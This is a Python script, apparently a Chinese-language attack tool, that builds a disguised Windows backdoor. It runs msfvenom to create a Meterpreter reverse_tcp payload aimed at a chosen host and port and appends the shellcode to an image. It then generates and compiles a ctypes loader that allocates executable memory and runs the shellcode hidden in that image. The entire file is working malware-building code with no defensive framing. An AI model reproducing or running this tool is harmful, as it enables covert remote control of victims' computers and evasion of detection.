import os


def genshellcode(host, port):
    os.system("mkdir output")
    os.system(
        "msfvenom -p windows/meterpreter/reverse_tcp lhost=" + host + " lport=" + str(port) + " -f raw -o payload.jpg")
    os.system("mv payload.jpg output/payload.jpg")
    print("正在生成原始shellcode，请稍等。。。。。。")
    for i in os.listdir("output/"):
        if i == "payload.jpg":
            print("原始shellcode生成成功！")
            return 1

def injectimage(file):
    if os.path.getsize("output/payload.jpg") == 0:
        print("原始shellcodeh获取失败，请检查源代码！")
        return 0
    shellf = open("output/payload.jpg",'rb')
    shellcode = shellf.read()

    os.system("mv "+file+" output/"+file)
    psize = os.path.getsize("output/"+file)
    f = open("output/"+file,'ab+')
    f.seek(psize)
    f.write(shellcode)
    newsize = os.path.getsize("output/"+file)
    if newsize>psize or newsize==psize:
        print("图片注入成功!")
        return psize

def genexe(file,lo):
    pyfile = "\
import os\n\
import ctypes\n\
f = open('"+file+"', 'rb')\n\
size = os.path.getsize('"+file+"')  # 获得文件大小\n\
f.seek("+str(lo)+")\n\
data = f.read()\n\
f.close()\n\
bdata = bytearray(data)\n\
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int\n\
# 申请内存\n\
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(bdata)), ctypes.c_int(0x3000),\
                                          ctypes.c_int(0x40))\n\
\n\
# 放入shellcode\n\
buf = (ctypes.c_char * len(bdata)).from_buffer(bdata)\n\
ctypes.windll.kernel32.RtlMoveMemory(\n\
    ctypes.c_int(ptr),\n\
    buf,\n\
    ctypes.c_int(len(bdata))\n\
)\n\
# 创建一个线程从shellcode防止位置首地址开始执行\n\
handle = ctypes.windll.kernel32.CreateThread(\n\
    ctypes.c_int(0),\n\
    ctypes.c_int(0),\n\
    ctypes.c_int(ptr),\n\
    ctypes.c_int(0),\n\
    ctypes.c_int(0),\n\
    ctypes.pointer(ctypes.c_int(0))\n\
)\n\
# 等待上面创建的线程运行完\n\
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))\n\
    "
    af = open("payload.py",'w')
    af.write(pyfile)
    os.system("pyinstaller -F payload.py")


if __name__ == '__main__':
    targetfile = input("请输入图片的路径 :")
    if targetfile == '':
        print("你没有选择一张图片，将默认使用整个shellcode转换成图片")
        os.system("touch demo.png")
        targetfile = "demo.png"

    rawshellcode_lhost = input("请设置lhost (默认:127.0.0.1):")
    if rawshellcode_lhost == '':
        print("你没有设置lhost，将默认使用127.0.0.1")
        rawshellcode_lhost = "127.0.0.1"

    rawshellcode_lport = input("请设置lport (默认:4444):")
    if rawshellcode_lport == '':
        print("你没有设置lport，将默认使用4444")
        rawshellcode_lport = 4444

    if genshellcode(rawshellcode_lhost, rawshellcode_lport) == 1:
        location = injectimage(targetfile)
        genexe(targetfile,location)
    else:
        print("原始shellcode生成失败！请检查源代码。")
        exit()

